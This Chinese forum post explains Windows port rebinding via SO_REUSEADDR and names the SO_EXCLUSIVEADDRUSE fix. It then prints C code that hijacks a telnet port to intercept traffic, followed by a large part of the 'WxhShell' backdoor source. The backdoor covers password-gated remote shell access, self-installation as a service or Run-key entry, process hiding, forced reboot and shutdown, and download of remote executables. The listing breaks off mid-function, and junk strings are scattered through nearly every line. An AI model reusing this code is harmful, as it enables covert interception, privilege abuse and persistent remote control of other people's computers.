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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~c1~) QzZ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?1]B(V9nBq  
F+xMXBD@>*  
  saddr.sin_family = AF_INET; nYRD>S?uz  
<N 80MU L|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g5Hsz,x  
OZ Obx  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); < R@&<E6  
*LmzGF|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 U_B`SS  
A^c5CJ_  
  这意味着什么?意味着可以进行如下的攻击: ; zy;M5l5.  
_x#r,1V+D  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 i3Nt?FSN  
+xmZK<{<  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Git2Cet  
SR)@'-Wd  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 '?fn} V  
Yu^}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  W\DJXM]b  
&zP\K~Nt  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 m} =<@b:l  
oDA'}[/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 JR_c]AQYu  
L?y,xA_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  [7)#3  
wVs|mG"  
  #include  -gS/  
  #include ]}0+7Q  
  #include M[T!AO-S$  
  #include    p:U{3uN 62  
  DWORD WINAPI ClientThread(LPVOID lpParam);   3^ &pb  
  int main() ]@1ncn7N  
  { RzSN,bL R  
  WORD wVersionRequested; p7O4CP>9[  
  DWORD ret; U`'w{~"D%  
  WSADATA wsaData; :(x 90;DW  
  BOOL val; !C0= h  
  SOCKADDR_IN saddr; b}q,cm  
  SOCKADDR_IN scaddr; ]zK} X!  
  int err; aR;Q^YJ+a  
  SOCKET s; L' h'm{i  
  SOCKET sc; {la ^useg[  
  int caddsize; R ?\8SdJ  
  HANDLE mt; ?Z7C0u#wd  
  DWORD tid;   8c$IsvJg  
  wVersionRequested = MAKEWORD( 2, 2 ); & l|B>{4v  
  err = WSAStartup( wVersionRequested, &wsaData ); 9zd)[4%=  
  if ( err != 0 ) { (C QgT3V  
  printf("error!WSAStartup failed!\n"); J.`.lQ$z  
  return -1; 1Kebl  
  } `Op ";E88  
  saddr.sin_family = AF_INET; 7,LT4wYH  
   }#u}{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @49^WY  
9k"nx ,"  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #wm)e)2@  
  saddr.sin_port = htons(23); \J\1i=a-=  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CblL1q8  
  { f%auz4CZz  
  printf("error!socket failed!\n"); m :^,qC  
  return -1; Ox43(S0~  
  } )5V1H WjU  
  val = TRUE; ;j_#,Da9<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %F/tbXy{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 'Ph;:EMj  
  { C"mb-n 7s  
  printf("error!setsockopt failed!\n"); KoXXNJax  
  return -1; J<zg 'Jk^  
  } (}qLxZ/U  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,!py n<_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 02S(9^=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2Uk8{d  
Vis?cuU/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) E0h!%/+-L  
  { 1!NaOfP;@  
  ret=GetLastError(); 9VY_gi=vL  
  printf("error!bind failed!\n"); ohyUvxvj  
  return -1; p]g/iLDZ  
  } ?^+|V,<  
  listen(s,2); q B 2#EsZ  
  while(1) lJ,s}l7  
  { |O+binq  
  caddsize = sizeof(scaddr); \%^3Izsc  
  //接受连接请求 p.IfJ|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); e)bqE^JP  
  if(sc!=INVALID_SOCKET) M*{e e0\`r  
  { C ]XDDr  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~gDtj&F  
  if(mt==NULL) 4%{m7CK}  
  { \%VoX` B  
  printf("Thread Creat Failed!\n"); _0`O}  
  break; .lnD]Q  
  } t2$:*PvE  
  } 3G&1. 8  
  CloseHandle(mt); Ywr{/  
  } Te/)[I'Tn  
  closesocket(s); Y+7v~/K=  
  WSACleanup(); Q'Tn+}B&  
  return 0; d$Xvax,C  
  }   U\z+{]<<  
  DWORD WINAPI ClientThread(LPVOID lpParam) D.GSl  
  { u!S{[7 FY  
  SOCKET ss = (SOCKET)lpParam; A| +{x4s`  
  SOCKET sc; Aws TDM  
  unsigned char buf[4096]; _[7uLWyC9  
  SOCKADDR_IN saddr; MG@19R2s  
  long num; Dx%fW`  
  DWORD val; ;g*6NzdA  
  DWORD ret; x/<. ?[A  
  //如果是隐藏端口应用的话,可以在此处加一些判断 C!P6Z10+j  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5-QXvw(TH  
  saddr.sin_family = AF_INET; w$!n8A qs  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /L 4WWQ5  
  saddr.sin_port = htons(23); KKzvoc?Bt  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'huLv(Uu  
  { RPWYm  
  printf("error!socket failed!\n"); / u{r5`4  
  return -1; M>#{~zr  
  } >j?uI6Uw  
  val = 100; M@3H]t?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zYNJF>^<  
  { 5%$#3LT|  
  ret = GetLastError(); 3WY W])  
  return -1; V+q RDQ  
  } >4E,_`3N  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z,EOyi  
  { '$VR_N\  
  ret = GetLastError(); g/J!U8W"  
  return -1; @wPmx*SF  
  } zkOgL9 (_8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =EJ"edw]%0  
  { \4[Ta,;t  
  printf("error!socket connect failed!\n"); tQ67XAb  
  closesocket(sc); U8mu<)  
  closesocket(ss); pf_ /jR  
  return -1; $9~1s/('  
  } `4qKQJw  
  while(1) -iHhpD9"X  
  { T_-MSXhA  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 KPhqD5, (  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *GhRU5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 on\\;V_/Q  
  num = recv(ss,buf,4096,0); >R<fm  
  if(num>0) [C6?:'}FA  
  send(sc,buf,num,0); \zUsHK?L"t  
  else if(num==0) NC}#P< U  
  break; u| c+w)a  
  num = recv(sc,buf,4096,0); v(O.GhJ@  
  if(num>0) ;=OH=+R l  
  send(ss,buf,num,0); ._Xtb,p{  
  else if(num==0) lUEyo.xVt  
  break; 7w*&Yg]  
  } d8#j@='a*  
  closesocket(ss); \YS?}! 0  
  closesocket(sc); nz\fN?q  
  return 0 ; bRK9Qt#3  
  } %K7}yy&9C  
O|~'-^  
s|T7)PgR  
========================================================== ]N_^{k,  
}TW=eu~  
下边附上一个代码,,WXhSHELL $ Zr,-  
,GIqRT4K  
========================================================== MVdx5,t  
vNbA/sM  
#include "stdafx.h" rYQ@"o0/Y  
v_0!uT5~NE  
#include <stdio.h> P1n@E*~V5  
#include <string.h> Tt|6N*b'  
#include <windows.h> ]o$/xP  
#include <winsock2.h> *lAdS]I  
#include <winsvc.h>  /GUuu  
#include <urlmon.h> rR~X>+K  
w ZAXfNA  
#pragma comment (lib, "Ws2_32.lib") ~0|hobk  
#pragma comment (lib, "urlmon.lib") 2\de |'  
Fr3t [:D  
#define MAX_USER   100 // 最大客户端连接数 x["  
#define BUF_SOCK   200 // sock buffer nif' l/@"  
#define KEY_BUFF   255 // 输入 buffer Rn_c9p  
#7h fEAk  
#define REBOOT     0   // 重启 V&H8-,7z  
#define SHUTDOWN   1   // 关机 (02(:;1  
w>_EM&r6~u  
#define DEF_PORT   5000 // 监听端口 nh)R  
`F8;{`a  
#define REG_LEN     16   // 注册表键长度 w.p'Dpw  
#define SVC_LEN     80   // NT服务名长度 qhtAtP>i"  
{W<-f?  
// 从dll定义API jqWvLBU!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^6>|!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~+yo;[1Yc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wf%Ep#^6}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A> A'dQ69  
[uQZD1<q  
// wxhshell配置信息 NfF:[qwh  
struct WSCFG { @0,dyg<$>  
  int ws_port;         // 监听端口 >:&p(eu)L0  
  char ws_passstr[REG_LEN]; // 口令 0K0=Ob^(e  
  int ws_autoins;       // 安装标记, 1=yes 0=no l0if#?4\r  
  char ws_regname[REG_LEN]; // 注册表键名 uTGvXKL7  
  char ws_svcname[REG_LEN]; // 服务名 MPN=K|*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7,UFIHq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W%K8HAP"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `|Z@UPHzG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '/g+;^_cB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zq r%7U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Cpv%s 1M  
bGc|SF<V  
}; }tO<_f))  
PM!t"[@&  
// default Wxhshell configuration $i~`vu*  
struct WSCFG wscfg={DEF_PORT, q.Z#7~6`3  
    "xuhuanlingzhe", v=1S  
    1, AiK4t-  
    "Wxhshell", BrMp_M  
    "Wxhshell", | V,jd  
            "WxhShell Service", B-'BJ|*4I  
    "Wrsky Windows CmdShell Service", 8k?L{hF|nW  
    "Please Input Your Password: ", }AZx/[k |z  
  1, .BDRD~kB  
  "http://www.wrsky.com/wxhshell.exe", T JS1,3<  
  "Wxhshell.exe" kTc5KHJ7  
    }; F{~r7y;0  
BV?N_/DXp  
// 消息定义模块 e7qMt[.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M;V#Gm  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]Wt6V^M'@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )wv[!cYyW  
char *msg_ws_ext="\n\rExit."; .t[ZXrd| 0  
char *msg_ws_end="\n\rQuit."; 6v O)s!b  
char *msg_ws_boot="\n\rReboot..."; 6-14Htsk6  
char *msg_ws_poff="\n\rShutdown..."; 4 Olv8nOe<  
char *msg_ws_down="\n\rSave to "; aw%vu  
P3ev 4DL  
char *msg_ws_err="\n\rErr!"; L4*fF  
char *msg_ws_ok="\n\rOK!"; J*KBG2+13  
Tc5OI'-V  
char ExeFile[MAX_PATH]; @ZR4%A"X4  
int nUser = 0; BBE1}V!u  
HANDLE handles[MAX_USER]; ^^3va)1{!  
int OsIsNt; ZfCr"aL  
gdFoTcHgO|  
SERVICE_STATUS       serviceStatus; NG!cEo:2aa  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4m[C-NB!g  
cW\Y?x   
// 函数声明 Yk@s"qm3  
int Install(void); ::Q);  
int Uninstall(void); 8421-c6y>  
int DownloadFile(char *sURL, SOCKET wsh); jI2gi1 ,a  
int Boot(int flag); bW.zxQ :  
void HideProc(void); * r4/|.l  
int GetOsVer(void); (VPM>ndkw  
int Wxhshell(SOCKET wsl); K(KP3Q  
void TalkWithClient(void *cs); 5J\|gZQF  
int CmdShell(SOCKET sock); ;@YF}%!+W  
int StartFromService(void); xgqv2s>L  
int StartWxhshell(LPSTR lpCmdLine); 3/IWO4?_  
dzE Q$u/I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?$@ KwA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E(3+o\w  
= *;Xc-_  
// 数据结构和表定义 m#'rI=}!  
SERVICE_TABLE_ENTRY DispatchTable[] = ?"<r9S|[O  
{ uC*:#[  
{wscfg.ws_svcname, NTServiceMain}, ^r$iN %&~  
{NULL, NULL} |od4kt  
}; ;n7|.O]*  
R ms01m>Y  
// 自我安装 kPX2e h  
int Install(void) pM'IQ3N  
{ 5v>{Z0TE[6  
  char svExeFile[MAX_PATH]; &J/4J  
  HKEY key; 3auJ^B}  
  strcpy(svExeFile,ExeFile); 9H, &nET  
&G@-yQ  
// 如果是win9x系统,修改注册表设为自启动 KgTGxCH  
if(!OsIsNt) { G<^]0`"+)t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :UDn^ (#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0B$7S,2  
  RegCloseKey(key); ~UJu @M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b~Pxgfu"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y^ZBA\D2,k  
  RegCloseKey(key); ['4\O43yv  
  return 0; *v nxP9<  
    } Rp`_Grcd  
  } +`s&i%{1>  
} rq(~/Yc  
else { ,[}yf#8@J  
2hwXWTSu  
// 如果是NT以上系统,安装为系统服务 "X{aS}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y0u'@l_[F  
if (schSCManager!=0) |h=+&*(:  
{ hr!f: D  
  SC_HANDLE schService = CreateService n@07$lY@;  
  ( ADv"_bB:h  
  schSCManager, {Sr=SE  
  wscfg.ws_svcname, 'K@{vB  
  wscfg.ws_svcdisp, r0g/:lJi  
  SERVICE_ALL_ACCESS, 97]a-)SA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S-LZ(o{ZL  
  SERVICE_AUTO_START, q ~Q)'*m  
  SERVICE_ERROR_NORMAL, ,JQxs7@2k  
  svExeFile, @X|i@{<';  
  NULL, w^due P7J  
  NULL, $uFh$f  
  NULL, Q{l*62Bx  
  NULL, <jRFN&"h}  
  NULL 6mF{ImbRbS  
  ); {r].SrW9s9  
  if (schService!=0) mj(&`HRs4  
  { Mi/ &$" =  
  CloseServiceHandle(schService); ]Ic?:lKN  
  CloseServiceHandle(schSCManager); :Hf0Qx6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4$?w D <  
  strcat(svExeFile,wscfg.ws_svcname); zOao&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { inPdV9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SA(UD   
  RegCloseKey(key); Vh#Mp!  
  return 0; t;LX48 TQ  
    } 1t\b a1x  
  } Z4HA94  
  CloseServiceHandle(schSCManager); D-o7yc"K  
} "Ql}Y1  
} ] [HGzHA  
gaw4NZd)0  
return 1; znQ'm^h  
} `j}_BW_  
_Vo)<--+I  
// 自我卸载 1(%>`=R8  
int Uninstall(void) @Ge>i5q  
{ oxMUW<gYd  
  HKEY key; aW=By)S!Y  
kh<pLI>$h  
if(!OsIsNt) { yWv<A^C &  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S7UZGGjTk  
  RegDeleteValue(key,wscfg.ws_regname); ib(>vp$V  
  RegCloseKey(key); SvX=isu!.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U BhciZ  
  RegDeleteValue(key,wscfg.ws_regname); Y3P.|  
  RegCloseKey(key); uO ?Od  
  return 0; ]<8B-D?Z  
  } 8NaL{j1`  
} zmB31' _  
} FI1THzW4J  
else { [:nx);\  
>k&8el6h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^zaKO'KcV  
if (schSCManager!=0) |-(IJG#)  
{ jJ*@5?A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XdGpW  
  if (schService!=0) z29qARiX  
  { pK6e/eC  
  if(DeleteService(schService)!=0) { mfeMmKFu\  
  CloseServiceHandle(schService); %ezb^O_6v  
  CloseServiceHandle(schSCManager); ggm2%|?X  
  return 0; *3_f &Y  
  } uq!;  
  CloseServiceHandle(schService); <$ i"zb  
  }  cS D._"P  
  CloseServiceHandle(schSCManager); ocIt@#20 K  
} #cj\~T.,,  
} YH)Opk  
O ;X(pE/G  
return 1; 9TVB<}0G  
} SUH mBo"}  
o~v_PD[S  
// 从指定url下载文件 :W.jNV{e\F  
int DownloadFile(char *sURL, SOCKET wsh) 0T9@,scY  
{ a>wfhmr  
  HRESULT hr; ]UX`=+{  
char seps[]= "/"; 5q|+p?C  
char *token; 5:Yck<  
char *file; c Ndw9?Z  
char myURL[MAX_PATH]; .7 (DxN  
char myFILE[MAX_PATH]; j>0<#SYBu  
?w+ QbT  
strcpy(myURL,sURL); QP6z?j.  
  token=strtok(myURL,seps); DR k]{^C~  
  while(token!=NULL) -A/ds1=;  
  { K<@[_W+  
    file=token; zVM4BT(  
  token=strtok(NULL,seps); La"o)L +m_  
  } g d337jw  
Sao>P[#x  
GetCurrentDirectory(MAX_PATH,myFILE); *:=];1 O  
strcat(myFILE, "\\"); UGhW0X3k  
strcat(myFILE, file);  }Vvsh3  
  send(wsh,myFILE,strlen(myFILE),0); "sF Xl  
send(wsh,"...",3,0); LXHwX*`Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7"ylN"syZ  
  if(hr==S_OK) jW-;4e*H=V  
return 0; AIuMX4nb  
else -"W)|oC_  
return 1; :8p&#M  
h [nH<m  
} n?'d|h  
&EAk z  
// 系统电源模块 [096CK  
int Boot(int flag) ]>tq|R78  
{ ;yF[2P ;  
  HANDLE hToken; 0o=!j3RjH  
  TOKEN_PRIVILEGES tkp; cu[!D}tVU  
Eo%UuSi  
  if(OsIsNt) { +yzcx3<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Tr}R`6d$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  MKU7fFN.  
    tkp.PrivilegeCount = 1; u-m%=2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q`H# fS~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '5'3_vM  
if(flag==REBOOT) { No:^hY:F8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wA?@v|,dZ  
  return 0; [^<SLTev  
} ]EB6+x!G  
else { @Z?7E8(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tf4*R_6;1$  
  return 0; Pj'62[5z  
} B;VH`*+X  
  } G49Ng|qn  
  else { )T>8XCL\}  
if(flag==REBOOT) { 82lr4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \X&]FZ(*  
  return 0; @u,+F0Yd  
} KwS`3 6:  
else { zQ,f5x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m&Lt6_vi  
  return 0; Z.!g9fi8>  
} egfi;8]E  
} Osnyd+dJY  
E]NY (1  
return 1; f%c06Un=  
} "X`RQ6~]>  
BsKbn@'uC  
// win9x进程隐藏模块 p~h4\ .*`  
void HideProc(void) t)LU\!  
{ Q/p(#/y#b  
g;8M<`qvf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  1Yud~[c  
  if ( hKernel != NULL ) cn$5:%IK  
  { ji }#MBac  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ASR-a't6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wTT RoeJ}  
    FreeLibrary(hKernel); 9hy'DcSy,  
  } XM$GQn]B  
~L~]QN\3  
return; u=%y  
} o~= iy  
s3seK6x'  
// 获取操作系统版本 !Q!&CG5l  
int GetOsVer(void) i<mevL  
{ 3c b[RQf  
  OSVERSIONINFO winfo; =nzFd-P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %*6RzJO6  
  GetVersionEx(&winfo); sc%dh?m7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `4LJ;KC(  
  return 1; KGu= ;  
  else `qE4U4  
  return 0; J;~E<_"Hn  
} N r<9u$d9=  
TFO74^  
// 客户端句柄模块 i-b1d'?Rb  
int Wxhshell(SOCKET wsl) CJp-Y}fGEA  
{ ZPl PN;J^1  
  SOCKET wsh; Tw x{' S  
  struct sockaddr_in client; H<,bq*@  
  DWORD myID; Uj,g]e 8e  
*6XRjq^#  
  while(nUser<MAX_USER) V{0%xz #  
{ }t\ 10nQ  
  int nSize=sizeof(client); UxeL cUP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y1iX!m~)  
  if(wsh==INVALID_SOCKET) return 1; ?;^5ghY$  
(k8Z=/N~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /_q#a h  
if(handles[nUser]==0) M|k&TTV  
  closesocket(wsh); vO]J]][  
else '*4iqP R;  
  nUser++; MI\]IQU  
  } Ir/:d]N*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \#++s&06  
&U&Zo@ot"x  
  return 0; (xL :;  
} *Rq`*D>:U}  
3T1P$E" m  
// 关闭 socket +C_*Vs@4  
void CloseIt(SOCKET wsh) 2SciB*5  
{ t@)my[!  
closesocket(wsh); 8"i/wMP]  
nUser--; ENq"mwV|  
ExitThread(0); =:gjz4}_8  
} Ir27ZP  
@0|nq9l1  
// 客户端请求句柄 z?kd'j`FG  
void TalkWithClient(void *cs) \-OC|\{32  
{ D"cKlp-I6|  
D^u\l  
  SOCKET wsh=(SOCKET)cs; kon5+g9q  
  char pwd[SVC_LEN]; xQo~%wW,?  
  char cmd[KEY_BUFF]; :G}DAUFN  
char chr[1]; 4 [1k\  
int i,j; '00J~j~  
#/ +I*B*y  
  while (nUser < MAX_USER) { "y$ qrN-  
A#35]V06  
if(wscfg.ws_passstr) { xl8#=qmCD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y\#o2PVmY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3u_oRs  
  //ZeroMemory(pwd,KEY_BUFF); b@ 6:1x  
      i=0; Fc'[+L--Q  
  while(i<SVC_LEN) { 4UD' %}>y  
.E$q&7@/j  
  // 设置超时 2h )8Fq_"  
  fd_set FdRead; BSKEh"f  
  struct timeval TimeOut; skR,-:"8  
  FD_ZERO(&FdRead); RM,'o[%  
  FD_SET(wsh,&FdRead); +_~,86  
  TimeOut.tv_sec=8; OR;&TbWF(R  
  TimeOut.tv_usec=0; _R74/|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p+[} Hxx=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u s`}  
@6b[GekZ<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HN68!v}C|  
  pwd=chr[0]; cy3M^_5B<  
  if(chr[0]==0xd || chr[0]==0xa) { fK_~lGY(  
  pwd=0; ;Iq5|rzDn  
  break; K_#UZA< Y  
  } uN bIX:L,  
  i++; {y6C0A*  
    } 5 `=KyHi:b  
t77'fm  
  // 如果是非法用户,关闭 socket Ea]T>4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =/9<(Tt%m  
} @.ZL7$|d  
io2@}xZF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X$V|+lTk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -k{ Jp/-D  
L\L"mc|O  
while(1) { 7|Dn+ =  
+"uwV1)b"  
  ZeroMemory(cmd,KEY_BUFF); <d"Gg/@a  
XWtiwf'K  
      // 自动支持客户端 telnet标准   El (/em  
  j=0; 8l23%iWxe  
  while(j<KEY_BUFF) { JZ=5Bpw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {ma;G[!  
  cmd[j]=chr[0]; 4SR(->@  
  if(chr[0]==0xa || chr[0]==0xd) { g 1@wf  
  cmd[j]=0; a,n93-m(m  
  break; jNc<~{/  
  } GNU;jSh5  
  j++; s;1e0n  
    } z0Xa_w=  
m*oc)x7'  
  // 下载文件 rzu s  
  if(strstr(cmd,"http://")) { G),db%,X2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Yy h=G  
  if(DownloadFile(cmd,wsh)) Hku=pr3Gn  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4RQ5(YTTuR  
  else Y<Q\d[3^F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qq;b~ 3 kW  
  } zvr\36  
  else { yX! #a>d"H  
(Es{la G  
    switch(cmd[0]) { /U*yw5  
  ETp'oh}?  
  // 帮助 M<(u A'  
  case '?': { *jF#^=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U$'y_}V  
    break; C[YnrI!  
  } +'XhC#:  
  // 安装 l^r' $;<m  
  case 'i': { Mr* |9h  
    if(Install()) S$O,] @)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +(mL~td01  
    else \hbiU ]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |ym%| B  
    break; tcA;#^jc  
    } U3F3((EYJ  
  // 卸载 ^~l  $&~  
  case 'r': { f&yQhe6q  
    if(Uninstall()) =M<z8R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zZ,Yfd |W  
    else )ooWQ-%P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &N\[V-GP2G  
    break; ,4Y*:JU4  
    } [6R fS  
  // 显示 wxhshell 所在路径 gX,9Gh  
  case 'p': { 2[up+;%Y  
    char svExeFile[MAX_PATH]; A]?^ H<  
    strcpy(svExeFile,"\n\r"); `o si"o9  
      strcat(svExeFile,ExeFile); XDYosC:  
        send(wsh,svExeFile,strlen(svExeFile),0); a)9rs\Is{  
    break; 16$y`~c-z  
    } &p"(-  
  // 重启 l h/&__  
  case 'b': { wPnybb{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VXIQw' Cq  
    if(Boot(REBOOT)) NHkL24ve  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (1){A8=?o  
    else { / L~u0 2?  
    closesocket(wsh); aws"3O% uW  
    ExitThread(0); G$5m$\K  
    } Nn#u%xvJt  
    break; m;/i<:`  
